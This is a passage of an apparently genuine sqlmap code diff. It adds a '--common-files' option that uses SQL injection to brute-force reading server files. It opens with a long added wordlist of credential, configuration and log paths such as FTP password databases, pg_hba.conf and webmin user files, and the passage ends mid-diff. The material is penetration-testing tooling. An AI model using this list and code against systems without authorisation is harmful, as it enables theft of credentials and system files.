+/usr/local/etc/lighttpd.conf +/usr/local/etc/lighttpd.conf.new +/usr/local/etc/nginx/nginx.conf +/usr/local/etc/php.ini +/usr/local/etc/pure-ftpd.conf +/usr/local/etc/pureftpd.pdb +/usr/local/etc/smb.conf +/usr/local/etc/webmin/miniserv.conf +/usr/local/etc/webmin/miniserv.users +/usr/local/httpd/conf/httpd.conf +/usr/local/jakarta/dist/tomcat/conf/context.xml +/usr/local/jakarta/dist/tomcat/conf/jakarta.conf +/usr/local/jakarta/dist/tomcat/conf/logging.properties +/usr/local/jakarta/dist/tomcat/conf/server.xml +/usr/local/jakarta/dist/tomcat/conf/workers.properties +/usr/local/jakarta/dist/tomcat/logs/mod_jk.log +/usr/local/jakarta/tomcat/conf/context.xml +/usr/local/jakarta/tomcat/conf/jakarta.conf +/usr/local/jakarta/tomcat/conf/logging.properties +/usr/local/jakarta/tomcat/conf/server.xml +/usr/local/jakarta/tomcat/conf/workers.properties +/usr/local/jakarta/tomcat/logs/catalina.err +/usr/local/jakarta/tomcat/logs/catalina.out +/usr/local/jakarta/tomcat/logs/mod_jk.log +/usr/local/lib/php.ini +/usr/local/lighttpd/conf/lighttpd.conf +/usr/local/lighttpd/log/access.log +/usr/local/lighttpd/log/lighttpd.error.log +/usr/local/logs/access.log +/usr/local/logs/samba.log +/usr/local/lsws/conf/httpd_conf.xml +/usr/local/lsws/logs/error.log +/usr/local/mysql/data/mysql-bin.index +/usr/local/mysql/data/mysql-bin.log +/usr/local/mysql/data/mysql-slow.log +/usr/local/mysql/data/mysql.err +/usr/local/mysql/data/mysql.log +/usr/local/mysql/data/mysqlderror.log +/usr/local/nginx/conf/nginx.conf +/usr/local/pgsql/bin/pg_passwd +/usr/local/pgsql/data/passwd +/usr/local/pgsql/data/pg_hba.conf +/usr/local/pgsql/data/pg_log +/usr/local/pgsql/data/postgresql.conf +/usr/local/pgsql/data/postgresql.log +/usr/local/php/apache.conf +/usr/local/php/apache.conf.php +/usr/local/php/apache2.conf +/usr/local/php/apache2.conf.php +/usr/local/php/httpd.conf +/usr/local/php/httpd.conf.php +/usr/local/php/lib/php.ini +/usr/local/php4/apache.conf +/usr/local/php4/apache.conf.php +/usr/local/php4/apache2.conf +/usr/local/php4/apache2.conf.php +/usr/local/php4/httpd.conf +/usr/local/php4/httpd.conf.php +/usr/local/php4/lib/php.ini +/usr/local/php5/apache.conf +/usr/local/php5/apache.conf.php +/usr/local/php5/apache2.conf +/usr/local/php5/apache2.conf.php +/usr/local/php5/httpd.conf +/usr/local/php5/httpd.conf.php +/usr/local/php5/lib/php.ini +/usr/local/psa/admin/conf/php.ini +/usr/local/psa/admin/conf/site_isolation_settings.ini +/usr/local/psa/admin/htdocs/domains/databases/phpmyadmin/libraries/config.default.php +/usr/local/psa/admin/logs/httpsd_access_log +/usr/local/psa/admin/logs/panel.log +/usr/local/pureftpd/etc/pure-ftpd.conf +/usr/local/pureftpd/etc/pureftpd.pdb +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/samba/lib/log.user +/usr/local/samba/lib/smb.conf.user +/usr/local/sb/config +/usr/local/squirrelmail/www/readme +/usr/local/zend/etc/php.ini +/usr/local/zeus/web/global.cfg +/usr/local/zeus/web/log/errors +/usr/pkg/etc/httpd/httpd-default.conf +/usr/pkg/etc/httpd/httpd-vhosts.conf +/usr/pkg/etc/httpd/httpd.conf +/usr/pkgsrc/net/pureftpd/pure-ftpd.conf +/usr/pkgsrc/net/pureftpd/pureftpd.passwd +/usr/pkgsrc/net/pureftpd/pureftpd.pdb +/usr/ports/contrib/pure-ftpd/pure-ftpd.conf +/usr/ports/contrib/pure-ftpd/pureftpd.passwd +/usr/ports/contrib/pure-ftpd/pureftpd.pdb +/usr/ports/ftp/pure-ftpd/pure-ftpd.conf +/usr/ports/ftp/pure-ftpd/pureftpd.passwd +/usr/ports/ftp/pure-ftpd/pureftpd.pdb +/usr/ports/net/pure-ftpd/pure-ftpd.conf +/usr/ports/net/pure-ftpd/pureftpd.passwd +/usr/ports/net/pure-ftpd/pureftpd.pdb +/usr/sbin/mudlogd +/usr/sbin/mudpasswd +/usr/sbin/pure-config.pl +/usr/share/adduser/adduser.conf +/usr/share/logs/catalina.err +/usr/share/logs/catalina.out +/usr/share/squirrelmail/config/config.php +/usr/share/squirrelmail/plugins/squirrel_logger/setup.php +/usr/share/tomcat/logs/catalina.err +/usr/share/tomcat/logs/catalina.out +/usr/share/tomcat6/conf/context.xml +/usr/share/tomcat6/conf/logging.properties +/usr/share/tomcat6/conf/server.xml +/usr/share/tomcat6/conf/workers.properties +/usr/share/tomcat6/logs/catalina.err +/usr/share/tomcat6/logs/catalina.out +/usr/spool/lp/log +/usr/spool/mqueue/syslog +/var/adm/acct/sum/loginlog +/var/adm/aculog +/var/adm/aculogs +/var/adm/crash/unix +/var/adm/crash/vmcore +/var/adm/cron/log +/var/adm/dtmp +/var/adm/lastlog/username +/var/adm/log/asppp.log +/var/adm/log/xferlog +/var/adm/loginlog +/var/adm/lp/lpd-errs +/var/adm/messages +/var/adm/pacct +/var/adm/qacct +/var/adm/ras/bootlog +/var/adm/ras/errlog +/var/adm/sulog +/var/adm/syslog +/var/adm/utmp +/var/adm/utmpx +/var/adm/vold.log +/var/adm/wtmp +/var/adm/wtmpx +/var/adm/x0msgs +/var/apache/conf/httpd.conf +/var/cpanel/cpanel.config +/var/cpanel/tomcat.options +/var/cron/log +/var/data/mysql-bin.index +/var/lib/mysql/my.cnf +/var/lib/pgsql/data/postgresql.conf +/var/lib/squirrelmail/prefs/squirrelmail.log +/var/lighttpd.log +/var/local/www/conf/php.ini +/var/log/access.log +/var/log/access_log +/var/log/apache/access.log +/var/log/apache/access_log +/var/log/apache/error.log +/var/log/apache/error_log +/var/log/apache2/access.log +/var/log/apache2/access_log +/var/log/apache2/error.log +/var/log/apache2/error_log +/var/log/apache2/squirrelmail.err.log +/var/log/apache2/squirrelmail.log +/var/log/auth.log +/var/log/auth.log +/var/log/authlog +/var/log/boot.log +/var/log/cron/var/log/postgres.log +/var/log/daemon.log +/var/log/daemon.log.1 +/var/log/data/mysql-bin.index +/var/log/error.log +/var/log/error_log +/var/log/exim/mainlog +/var/log/exim/paniclog +/var/log/exim/rejectlog +/var/log/exim_mainlog +/var/log/exim_paniclog +/var/log/exim_rejectlog +/var/log/ftp-proxy +/var/log/ftp-proxy/ftp-proxy.log +/var/log/ftplog +/var/log/httpd/access.log +/var/log/httpd/access_log +/var/log/httpd/error.log +/var/log/httpd/error_log +/var/log/ipfw +/var/log/ipfw.log +/var/log/ipfw.today +/var/log/ipfw/ipfw.log +/var/log/kern.log +/var/log/kern.log.1 +/var/log/lighttpd.access.log +/var/log/lighttpd.error.log +/var/log/lighttpd/access.log +/var/log/lighttpd/access.www.log +/var/log/lighttpd/error.log +/var/log/lighttpd/error.www.log +/var/log/log.smb +/var/log/mail.err +/var/log/mail.info +/var/log/mail.log +/var/log/mail.log +/var/log/mail.warn +/var/log/maillog +/var/log/messages +/var/log/messages.1 +/var/log/muddleftpd +/var/log/muddleftpd.conf +/var/log/mysql-bin.index +/var/log/mysql.err +/var/log/mysql.log +/var/log/mysql/data/mysql-bin.index +/var/log/mysql/mysql-bin.index +/var/log/mysql/mysql-bin.log +/var/log/mysql/mysql-slow.log +/var/log/mysql/mysql.log +/var/log/mysqlderror.log +/var/log/news.all +/var/log/news/news.all +/var/log/news/news.crit +/var/log/news/news.err +/var/log/news/news.notice +/var/log/news/suck.err +/var/log/news/suck.notice +/var/log/nginx.access_log +/var/log/nginx.error_log +/var/log/nginx/access.log +/var/log/nginx/access_log +/var/log/nginx/error.log +/var/log/nginx/error_log +/var/log/pgsql/pgsql.log +/var/log/pgsql8.log +/var/log/pgsql_log +/var/log/pm-powersave.log +/var/log/poplog +/var/log/postgres/pg_backup.log +/var/log/postgres/postgres.log +/var/log/postgresql.log +/var/log/postgresql/main.log +/var/log/postgresql/postgres.log +/var/log/postgresql/postgresql-8.1-main.log +/var/log/postgresql/postgresql-8.3-main.log +/var/log/postgresql/postgresql-8.4-main.log +/var/log/postgresql/postgresql-9.0-main.log +/var/log/postgresql/postgresql-9.1-main.log +/var/log/postgresql/postgresql.log +/var/log/proftpd +/var/log/proftpd.access_log +/var/log/proftpd.xferlog +/var/log/proftpd/xferlog.legacy +/var/log/pure-ftpd/pure-ftpd.log +/var/log/pureftpd.log +/var/log/samba.log +/var/log/samba.log1 +/var/log/samba.log2 +/var/log/samba/log.nmbd +/var/log/samba/log.smbd +/var/log/squirrelmail.log +/var/log/sso/sso.log +/var/log/sw-cp-server/error_log +/var/log/syslog +/var/log/syslog.1 +/var/log/thttpd_log +/var/log/tomcat6/catalina.out +/var/log/ufw.log +/var/log/user.log +/var/log/user.log.1 +/var/log/vmware/hostd-1.log +/var/log/vmware/hostd.log +/var/log/vsftpd.log +/var/log/webmin/miniserv.log +/var/log/xferlog +/var/log/xorg.0.log +/var/logs/access.log +/var/lp/logs/lpnet +/var/lp/logs/lpsched +/var/lp/logs/requests +/var/mysql-bin.index +/var/mysql.log +/var/nm2/postgresql.conf +/var/postgresql/db/postgresql.conf +/var/postgresql/log/postgresql.log +/var/saf/_log +/var/saf/port/log +/var/www/.lighttpdpassword +/var/www/conf +/var/www/conf/httpd.conf +/var/www/html/squirrelmail-1.2.9/config/config.php +/var/www/html/squirrelmail/config/config.php +/var/www/logs/access.log +/var/www/logs/access_log +/var/www/logs/error.log +/var/www/logs/error_log +/var/www/squirrelmail/config/config.php +/volumes/macintosh_hd1/opt/apache/conf/httpd.conf +/volumes/macintosh_hd1/opt/apache2/conf/httpd.conf +/volumes/macintosh_hd1/opt/httpd/conf/httpd.conf +/volumes/macintosh_hd1/usr/local/php/httpd.conf.php +/volumes/macintosh_hd1/usr/local/php/lib/php.ini +/volumes/macintosh_hd1/usr/local/php4/httpd.conf.php +/volumes/macintosh_hd1/usr/local/php5/httpd.conf.php +/volumes/webbackup/opt/apache2/conf/httpd.conf +/volumes/webbackup/private/etc/httpd/httpd.conf +/volumes/webbackup/private/etc/httpd/httpd.conf.default +/wamp/bin/apache/apache2.2.21/conf/httpd.conf +/wamp/bin/apache/apache2.2.21/logs/access.log +/wamp/bin/apache/apache2.2.21/logs/error.log +/wamp/bin/apache/apache2.2.21/wampserver.conf +/wamp/bin/apache/apache2.2.22/conf/httpd.conf +/wamp/bin/apache/apache2.2.22/conf/wampserver.conf +/wamp/bin/apache/apache2.2.22/logs/access.log +/wamp/bin/apache/apache2.2.22/logs/error.log +/wamp/bin/apache/apache2.2.22/wampserver.conf +/wamp/bin/mysql/mysql5.5.16/data/mysql-bin.index +/wamp/bin/mysql/mysql5.5.16/my.ini +/wamp/bin/mysql/mysql5.5.16/wampserver.conf +/wamp/bin/mysql/mysql5.5.24/data/mysql-bin.index +/wamp/bin/mysql/mysql5.5.24/my.ini +/wamp/bin/mysql/mysql5.5.24/wampserver.conf +/wamp/bin/php/php5.3.8/php.ini +/wamp/bin/php/php5.4.3/php.ini +/wamp/logs/access.log +/wamp/logs/apache_error.log +/wamp/logs/genquery.log +/wamp/logs/mysql.log +/wamp/logs/slowquery.log +/web/conf/php.ini +/windows/comsetup.log +/windows/debug/netsetup.log +/windows/odbc.ini +/windows/php.ini +/windows/repair/setup.log +/windows/setupact.log +/windows/setupapi.log +/windows/setuperr.log +/windows/win.ini +/windows/system32/drivers/etc/hosts +/windows/system32/drivers/etc/lmhosts.sam +/windows/system32/drivers/etc/networks +/windows/system32/drivers/etc/protocol +/windows/system32/drivers/etc/services +/windows/system32/logfiles/firewall/pfirewall.log +/windows/system32/logfiles/firewall/pfirewall.log.old +/windows/system32/logfiles/msftpsvc +/windows/system32/logfiles/msftpsvc1 +/windows/system32/logfiles/msftpsvc2 +/windows/system32/logfiles/smtpsvc +/windows/system32/logfiles/smtpsvc1 +/windows/system32/logfiles/smtpsvc2 +/windows/system32/logfiles/smtpsvc3 +/windows/system32/logfiles/smtpsvc4 +/windows/system32/logfiles/smtpsvc5 +/windows/system32/logfiles/w3svc/inetsvn1.log +/windows/system32/logfiles/w3svc1/inetsvn1.log +/windows/system32/logfiles/w3svc2/inetsvn1.log +/windows/system32/logfiles/w3svc3/inetsvn1.log +/windows/system32/macromed/flash/flashinstall.log +/windows/system32/macromed/flash/install.log +/windows/updspapi.log +/windows/windowsupdate.log +/windows/wmsetup.log +/winnt/php.ini +/winnt/system32/logfiles/firewall/pfirewall.log +/winnt/system32/logfiles/firewall/pfirewall.log.old +/winnt/system32/logfiles/msftpsvc +/winnt/system32/logfiles/msftpsvc1 +/winnt/system32/logfiles/msftpsvc2 +/winnt/system32/logfiles/smtpsvc +/winnt/system32/logfiles/smtpsvc1 +/winnt/system32/logfiles/smtpsvc2 +/winnt/system32/logfiles/smtpsvc3 +/winnt/system32/logfiles/smtpsvc4 +/winnt/system32/logfiles/smtpsvc5 +/winnt/system32/logfiles/w3svc/inetsvn1.log +/winnt/system32/logfiles/w3svc1/inetsvn1.log +/winnt/system32/logfiles/w3svc2/inetsvn1.log +/winnt/system32/logfiles/w3svc3/inetsvn1.log +/www/apache/conf/httpd.conf +/www/conf/httpd.conf +/www/logs/freebsddiary-access_log +/www/logs/freebsddiary-error.log +/www/logs/proftpd.system.log +/xampp/apache/bin/php.ini +/xampp/apache/conf/httpd.conf +/xampp/apache/logs/access.log +/xampp/apache/logs/error.log +/xampp/filezillaftp/filezilla server.xml +/xampp/htdocs/aca.txt +/xampp/htdocs/admin.php +/xampp/htdocs/leer.txt +/xampp/mercurymail/mercury.ini +/xampp/mysql/data/mysql-bin.index +/xampp/mysql/data/mysql.err +/xampp/php/php.ini +/xampp/phpmyadmin/config.inc.php +/xampp/sendmail/sendmail.ini +/xampp/sendmail/sendmail.log +/xampp/webalizer/webalizer.conf +\autoexec.bat +\boot.ini +\inetpub\wwwroot\web.config +\web.config +\windows\system32\drivers\etc\hosts +\windows\win.ini diff --git a/lib/controller/action.py b/lib/controller/action.py index 07aaeda73e6..6ae23237357 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -17,6 +17,7 @@ from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.settings import SUPPORTED_DBMS from lib.utils.brute import columnExists +from lib.utils.brute import fileExists from lib.utils.brute import tableExists def action(): @@ -199,6 +200,14 @@ def action(): if conf.fileWrite: conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest, conf.fileWriteType) + if conf.commonFiles: + try: + conf.dumper.rFile(fileExists(paths.COMMON_FILES)) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise + # Operating system options if conf.osCmd: conf.dbmsHandler.osCmd() diff --git a/lib/core/common.py b/lib/core/common.py index c49f03b90c7..42c017220ce 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1346,6 +1346,7 @@ def setPaths(rootPath): # sqlmap files paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") + paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") @@ -4637,6 +4638,8 @@ def decodeDbmsHexValue(value, raw=False): def _(value): retVal = value if value and isinstance(value, six.string_types): + value = value.strip() + if len(value) % 2 != 0: retVal = (decodeHex(value[:-1]) + b'?') if len(value) > 1 else value singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index a344484a3e2..ad2dc6f5fde 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -160,6 +160,7 @@ "Brute": { "commonTables": "boolean", "commonColumns": "boolean", + "commonFiles": "boolean", }, "User-defined function": { diff --git a/lib/core/settings.py b/lib/core/settings.py index 945668bb336..93668991da6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.56" +VERSION = "1.3.6.57" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 886bde54bee..f10ad4e52fc 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -586,7 +586,7 @@ def _createFilesDir(): Create the file directory. """ - if not conf.fileRead: + if not any((conf.fileRead, conf.commonFiles)): return conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname diff --git a/lib/core/threads.py b/lib/core/threads.py index 332085f2303..3fa8263aee7 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -204,7 +204,6 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio traceback.print_exc() finally: - kb.bruteMode = False kb.threadContinue = True kb.threadException = False diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index d730d6951f5..acb91674c9c 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -502,6 +502,9 @@ def cmdLineParser(argv=None): brute.add_argument("--common-columns", dest="commonColumns", action="store_true", help="Check existence of common columns") + brute.add_argument("--common-files", dest="commonFiles", action="store_true", + help="Check existence of common files") + # User-defined function options udf = parser.add_argument_group("User-defined function injection", "These options can be used to create custom user-defined functions") diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 8657a98fc8f..c8fbf0faa12 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -109,7 +109,7 @@ def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): return output def udfCheckNeeded(self): - if (not conf.fileRead or (conf.fileRead and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: + if (not any((conf.fileRead, conf.commonFiles)) or (any((conf.fileRead, conf.commonFiles)) and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: self.sysUdfs.pop("sys_fileread") if not conf.osPwn: diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 759e5220892..f608c1c9a08 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -43,6 +43,7 @@ from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import HTTP_HEADER +from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import MAX_ERROR_CHUNK_LENGTH @@ -123,7 +124,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request - vector = kb.injection.data[kb.technique].vector + vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression @@ -134,7 +135,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) - incrementCounter(kb.technique) + incrementCounter(PAYLOAD.TECHNIQUE.ERROR) if page and conf.noEscape: page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) @@ -247,7 +248,7 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e if not kb.threadContinue: return None - if not suppressOutput: + if not any((suppressOutput, kb.bruteMode)): if kb.fileReadMode and output and output.strip(): print() elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields): @@ -298,7 +299,7 @@ def errorUse(expression, dump=False): SQL injection vulnerability on the affected parameter. """ - initTechnique(kb.technique) + initTechnique(PAYLOAD.TECHNIQUE.ERROR) abortedFlag = False count = None @@ -460,7 +461,7 @@ def errorThread(): duration = calculateDeltaSeconds(start) if not kb.bruteMode: - debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[kb.technique], duration) + debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.ERROR], duration) logger.debug(debugMsg) return value diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index ff4bab9b05f..0e5163aff06 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -312,6 +312,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) return validPayload, vector +@stackedmethod def unionTest(comment, place, parameter, value, prefix, suffix): """ This method tests if the target URL is affected by an union diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 92f6b1be323..29e72d7a962 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -376,7 +376,7 @@ def unionThread(): threadData.shared.value.extend(arrayizeValue(_)) del threadData.shared.buffered[0] - if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta: + if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta and not kb.bruteMode: _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items])) status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) diff --git a/lib/utils/brute.py b/lib/utils/brute.py index 78dd9ff6caa..14023c9a84d 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -7,6 +7,7 @@ from __future__ import division +import logging import time from lib.core.common import Backend @@ -16,20 +17,26 @@ from lib.core.common import getFileItems from lib.core.common import getPageWordSet from lib.core.common import hashDBWrite +from lib.core.common import isNoneValue +from lib.core.common import popValue +from lib.core.common import pushValue from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeStringFormat +from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.decorators import stackedmethod from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE from lib.core.settings import METADB_SUFFIX @@ -136,7 +143,6 @@ def tableExistsThread(): try: runThreads(conf.threads, tableExistsThread, threadChoice=True) - except KeyboardInterrupt: warnMsg = "user aborted during table existence " warnMsg += "check. sqlmap will display partial output" @@ -252,11 +258,12 @@ def columnExistsThread(): try: runThreads(conf.threads, columnExistsThread, threadChoice=True) - except KeyboardInterrupt: warnMsg = "user aborted during column existence " warnMsg += "check. sqlmap will display partial output" logger.warn(warnMsg) + finally: + kb.bruteMode = False clearConsoleLine(True) dataToStdout("\n") @@ -287,3 +294,81 @@ def columnExistsThread(): hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) return kb.data.cachedColumns + +@stackedmethod +def fileExists(pathFile): + retVal = [] + paths = getFileItems(pathFile, unique=True) + + kb.bruteMode = True + + try: + conf.dbmsHandler.readFile(randomStr()) + except SqlmapNoneDataException: + pass + except: + kb.bruteMode = False + raise + + threadData = getCurrentThreadData() + threadData.shared.count = 0 + threadData.shared.limit = len(paths) + threadData.shared.value = [] + + def fileExistsThread(): + threadData = getCurrentThreadData() + + while kb.threadContinue: + kb.locks.count.acquire() + if threadData.shared.count < threadData.shared.limit: + path = paths[threadData.shared.count] + threadData.shared.count += 1 + kb.locks.count.release() + else: + kb.locks.count.release() + break + + try: + result = unArrayizeValue(conf.dbmsHandler.readFile(path)) + except SqlmapNoneDataException: + result = None + + kb.locks.io.acquire() + + if not isNoneValue(result): + threadData.shared.value.append(result) + + if conf.verbose in (1, 2) and not conf.api: + clearConsoleLine(True) + infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (time.strftime("%X"), path) + dataToStdout(infoMsg, True) + + if conf.verbose in (1, 2): + status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) + dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) + + kb.locks.io.release() + + try: + pushValue(logger.getEffectiveLevel()) + logger.setLevel(logging.CRITICAL) + + runThreads(conf.threads, fileExistsThread, threadChoice=True) + except KeyboardInterrupt: + warnMsg = "user aborted during file existence " + warnMsg += "check. sqlmap will display partial output" + logger.warn(warnMsg) + finally: + kb.bruteMode = False + logger.setLevel(popValue()) + + clearConsoleLine(True) + dataToStdout("\n") + + if not threadData.shared.value: + warnMsg = "no file(s) found" + logger.warn(warnMsg) + else: + retVal = threadData.shared.value + + return retVal diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 3991ddaaa04..d392e919f12 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -78,7 +78,6 @@ from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapUserQuitException -from lib.core.patch import resolveCrossReferences from lib.core.settings import COMMON_PASSWORD_SUFFIXES from lib.core.settings import COMMON_USER_COLUMNS from lib.core.settings import DEV_EMAIL_ADDRESS diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 609ce2d98e3..72133f27c86 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -18,6 +18,7 @@ from lib.core.convert import encodeBase64 from lib.core.convert import encodeHex from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED @@ -82,8 +83,9 @@ def _updateDestChunk(self, fileContent, tmpPath): return chunkName def stackedReadFile(self, remoteFile): - infoMsg = "fetching file: '%s'" % remoteFile - logger.info(infoMsg) + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) result = [] txtTbl = self.fileTblName diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 9fffa4b2812..4ce41cf33bb 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -31,16 +31,18 @@ class Filesystem(GenericFilesystem): def nonStackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % rFile + logger.info(infoMsg) result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) return result def stackedReadFile(self, remoteFile): - infoMsg = "fetching file: '%s'" % remoteFile - logger.info(infoMsg) + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.getRemoteTempPath() @@ -64,8 +66,9 @@ def stackedReadFile(self, remoteFile): warnMsg += "file '%s'" % remoteFile if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): - warnMsg += ", going to fall-back to simpler UNION technique" - logger.warn(warnMsg) + if not kb.bruteMode: + warnMsg += ", going to fall-back to simpler UNION technique" + logger.warn(warnMsg) result = self.nonStackedReadFile(remoteFile) else: raise SqlmapNoneDataException(warnMsg) diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index cdaa5b4e7b2..4684531a35f 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -32,8 +32,9 @@ def readFile(self, remoteFile): Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) for remoteFile in remoteFile.split(','): - infoMsg = "fetching file: '%s'" % remoteFile - logger.info(infoMsg) + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) kb.fileReadMode = True fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) @@ -42,10 +43,11 @@ def readFile(self, remoteFile): if not isNoneValue(fileContent): fileContent = decodeDbmsHexValue(fileContent, True) - if fileContent: + if fileContent.strip(): localFilePath = dataToOutFile(remoteFile, fileContent) localFilePaths.append(localFilePath) - else: + + elif not kb.bruteMode: errMsg = "no data retrieved" logger.error(errMsg) diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 6253a5fa6c7..41d5ebb3dc6 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -9,6 +9,7 @@ from lib.core.common import randomInt from lib.core.compat import xrange +from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import LOBLKSIZE @@ -23,8 +24,9 @@ def __init__(self): GenericFilesystem.__init__(self) def stackedReadFile(self, remoteFile): - infoMsg = "fetching file: '%s'" % remoteFile - logger.info(infoMsg) + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) self.initEnv() diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 224a46ea2cb..8d672e16733 100644 --- 